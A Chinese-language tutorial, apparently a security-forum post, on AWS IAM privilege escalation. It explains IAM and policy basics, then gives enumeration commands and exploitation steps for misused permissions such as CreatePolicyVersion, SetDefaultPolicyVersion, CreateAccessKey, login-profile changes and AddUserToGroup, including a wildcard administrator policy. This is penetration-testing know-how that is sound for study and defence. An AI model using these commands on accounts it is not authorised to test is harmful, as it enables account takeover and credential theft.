云安全之IAM权限提升场景和利用

云安全之IAM权限提升场景和利用

基础知识

IAM

AWS 的 IAM 是指 Identity and Access Management(身份和访问管理)。它是 AWS 的一项服务,用于管理对 AWS 资源的安全访问。IAM 允许你控制用户、组和角色对 AWS 资源的访问权限。

IAM 的主要功能包括:

1.用户管理:你可以创建和管理具有自己的凭据的 IAM 用户。个用户可以被分配特定的权限,以便只能访问其工作所需的 AWS 资源。
2.组管理:1AM 允许你将用户放入组中,并为整个组分配权限这样,你可以轻松管理具有相似权限需求的用户集合。
3.权限管理:通过 IAM,你可以创建和管理权限策略,这些策略定义了哪些用户、组或角色可以访问哪些 AWS 资源以及如何访问这些资源。
4.角色管理:IAM 角色是一种安全身份,可以分配给 AWS 服务、托管服务或受信任的实体。角色使其他 AWS 服务可以安全地与彼此交互,而无需直接使用长期的安全凭据。
5.多因素身份验证(MFA):IAM 支持多因素身份验证,可以增加对 AWS 账户和资源的安全性。

通过 IAM,你可以实现最小特权原则,确保每个用户、服务或实体都只具有完成其工作所需的最低权限。这有助于提高 AWS 资源的安全性和合规性,并防止意外或恶意的资源访问和操
作。

sts:AssumeRole

在 AWS (Amazon Web Services) 中,sts:AssumeRole 是一个 API 操作,它属于 AWS Security Token Service (STS) 的一部分,主要用于允许用户或服务临时获取另一角色的权限。具体来说,sts:AssumeRole 允许一个 AWS 实体(如 IAM 用户、IAM 角色、AWS 服务等)获取一个临时的安全凭证,这些凭证通常包括访问密钥、会话令牌和到期时间,用于在有限的时间内进行身份验证和授权。

sts:AssumeRole 的作用

临时权限:sts:AssumeRole 允许 AWS 实体临时假扮为另一个角色,获得该角色的权限。这对于跨账户访问、委派权限、以及提供对受限操作的访问非常有用。

跨账户访问:sts:AssumeRole 可以用来在 AWS 账户之间进行资源访问。例如,一个 AWS 账户中的 IAM 用户或角色可以使用 sts:AssumeRole 操作来暂时假扮成另一个 AWS 账户中的角色,从而访问资源。

提升权限:通过 sts:AssumeRole,低权限用户可以临时获得更高权限的角色。例如,一个普通用户可以假扮为管理员角色执行某些操作,但权限会在会话结束后失效。

角色信任策略(Trust Policy)

角色的信任策略定义了谁可以调用 sts:AssumeRole。以下是一个信任策略的例子,允许 arn:aws:iam::123456789012:user/Susan 用户假扮为此角色:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:user/Susan"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

常用命令

手动枚举 - Users
 列出账户中所有实体(用户、组、角色)的权限策略及其关联的权限。
aws iam get-account-authorization-details 
获取用户列表
aws iam list-users
 # 将返回指定 IAM 用户的元数据,包括用户的用户名、用户 ID、创建日期、附加的权
限策略以及其他相关信息。
aws iam get-user --user-name <username>
 # 获取指定 IAM 用户内联策略
aws iam list-user-policies --user-name <username>
 aws iam get-user-policy --user-name <username> --policy-name 
<policyname>
 # 获取指定 IAM 用户附加策略
aws iam list-attached-user-policies --user-name <username>

IAM 枚举工具

https://github.com/carlospolop/bf-aws-permissions

IAM 策略

在 AWS 中,IAM 策略是一个 JSON 格式的文档,用于定义谁可以访问哪些资源以及如何访问。

IAM 策略的组成

  1. Version: 指定策略的版本,通常使用 2012-10-17 版本,这是当前的默认版本。

  2. Statement: 策略的主体部分,每个声明描述了一个权限规则。一个策略可以有多个声明。

    每个声明包含以下部分:

    • Effect: 定义是否允许(Allow)或拒绝(Deny)特定的操作。通常为 AllowDeny
    • Action: 指定允许或拒绝的 AWS 操作。每个 AWS 服务的操作都是通过 action 定义的,比如 s3:PutObjectec2:StartInstances
    • Resource: 指定策略可以作用的资源。这通常是资源的 ARN(Amazon Resource Name),例如 arn:aws:s3:::my-bucket/*
    • Condition: (可选)条件部分,用于进一步限制操作的执行。例如,可以指定仅当某些条件满足时才允许执行操作。

比如举一个例子

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::my-bucket/*"
        }
    ]
}

表示我可以从名为 my-bucket 的 S3 存储桶中获取对象

IAM 权限提升

SetDefaultPolicyVersion

漏洞原理

SetDefaultPolicyVersion 是 AWS IAM(Identity and Access Management)中的一个 API 操作,用于将指定的 IAM 策略版本设置为默认版本。每个 IAM 策略可以有多个版本,但只有一个版本可以是默认版本。默认版本是当前生效并用于评估权限的版本

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "iam:SetDefaultPolicyVersion",
      "Resource": "arn:aws:iam::123456789012:policy/my-example-policy"
    }
  ]
}

授予了用户或角色将 my-example-policy 策略的版本设置为默认版本的权限,我们只需要设置一个无限的权限策略就ok了

它可以指定

  • PolicyArn: 要更新的 IAM 策略的 ARN(Amazon Resource Name)。这是你要更改默认版本的策略。

漏洞利用

我们设置一个权限

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}

然后设置为默认

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

CreatePolicyVersion

漏洞原理

CreatePolicyVersion 是 AWS IAM(Identity and Access Management)中的一个 API 操作,用于创建 IAM 策略的新版本。AWS 允许在现有的 IAM 策略上创建多个版本,从而使你能够管理和更新策略,而不影响现有的访问权限。

一个权限的例子

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "iam:CreatePolicyVersion",
      "Resource": "arn:aws:iam::123456789012:policy/my-example-policy"
    }
  ]
}

安全的风险是在于--set-as-default参数

通常,只有拥有 iam:SetDefaultPolicyVersion 权限的用户才能设置一个策略的新版本为默认版本。

但是--set-as-default 参数允许用户 在没有显式权限的情况下 直接将新创建的版本设置为默认版本,从而绕过了 iam:SetDefaultPolicyVersion 权限限制。

漏洞利用

我们可以创建一个无所不能的管理员权限的策略

如下

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}

这种策略允许执行任何操作,并且对所有资源都有访问权限,从而使得攻击者能够访问和管理整个 AWS 账户中的所有资源。

然后我们使用这个策略,并设置为默认的策略

aws iam create-policy-version --policy-arn <target_policy_arn> \
    --policy-document file:///path/to/administrator/policy.json --set-as-default

--policy-arn <target_policy_arn>:指定目标 IAM 策略的 ARN (Amazon Resource Name)。这是你要修改的现有策略。

--policy-document file:///path/to/administrator/policy.json:指定一个新的策略文档,该文档包含你要赋予目标策略的权限。例如,可以是一个包含 Action: "*"Resource: "*" 的文档,从而授予对所有 AWS 资源的访问权限。

--set-as-default:将新创建的策略版本设置为默认版本,这意味着新的策略版本将取代旧版本,立即生效。

CreateAccessKey

漏洞原理

这个更简单 CreateAccessKey 用于为 IAM 用户创建新的 Access Key ID 和 Secret Access Key。这两个密钥是通过 AWS API 进行身份验证和授权的重要凭证,可以用来执行所有 AWS 支持的操作。

网上的 aws 的利用工具很多都是基于 Access Key ID 和 Secret Access Key 来利用的,而且云安全感觉最常利用的就是 Access Key ID 和 Secret Access Key 泄露了

而漏洞点也是很明显

通过 iam:CreateAccessKey 为目标用户生成一个新的 Access Key,从而获取该用户的身份验证凭证。我们就可以利用这些凭证以目标用户身份访问 AWS 服务。

漏洞利用

aws iam create-access-key --user-name <target_user>

创建后就会获取指定用户的 Access Key ID 和 Secret Access Key
后续的操作就和泄露是一样的

CreateLoginProfile&UpdateLoginProfile

用于为 IAM 用户创建或更新其登录配置文件,AWS 控制台密码是允许用户登录 AWS 管理控制台的凭证之一,而这两个权限可以让用户设置或更改其 AWS 控制台登录密码

iam:CreateLoginProfile 用于创建一个新用户的登录配置文件并设置密码。
iam:UpdateLoginProfile 用于更新现有用户的登录配置文件并修改密码。

CreateLoginProfile

我们可以通过执行 iam:CreateLoginProfile 命令,创建一个新的登录密码,从而使目标用户能够直接通过 AWS 控制台登录。

aws iam create-login-profile --user-name <target_user> --no-password-reset-required \
--password '<password>'

--user-name <target_user>:指定要为其创建登录配置文件的目标用户。
--no-password-reset-required:标志表明用户登录后不需要立即重置密码。
--password <password>:指定要设置的密码。</target_user>

UpdateLoginProfile

这个和我们的创建大同小异

aws iam update-login-profile --user-name <target_user> --no-password-reset-required \
--password '<password>'

--user-name <target_user>:指定要更新其登录密码的目标用户。
--no-password-reset-required:表示在密码修改后,用户不需要强制重置密码。
--password <password>:攻击者设置的新密码,可以是任意字符串。</target_user>

AddUserToGroup

AddUserToGroup 用于将一个 IAM 用户添加到指定的 IAM 组。IAM 组是一种将多个 IAM 用户集合在一起并赋予一组相同权限的方式。每个 IAM 组都可以关联一个或多个权限策略(例如,管理员权限策略)。通过将用户添加到某个组,用户可以继承该组的所有权限。

当一个我们拥有 iam:AddUserToGroup 权限时,我们就可以将自己或其他用户添加到具有较高权限的 IAM 组中

比如直接把自己加入到管理组

不过首先需要查看哪些组的权限是最大的

aws iam list-attached-group-policies --group-name <group_name>

列出该组附加的所有策略

其实控制台是最方便查看的

aws iam add-user-to-group --group-name <group_name> --user-name <username>

--group-name <group_name>:指定目标 IAM 组的名称,攻击者想要加入该组。该组可能是管理员组或其他具有较高权限的组。
--user-name <username>:指定要添加的 IAM 用户名,通常是攻击者自己的用户名,或者如果攻击者具备其他权限,则可能添加其他用户。</group_name>

然后把自己添加到组中

参考https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc

0 条评论
某人
表情
可输入 255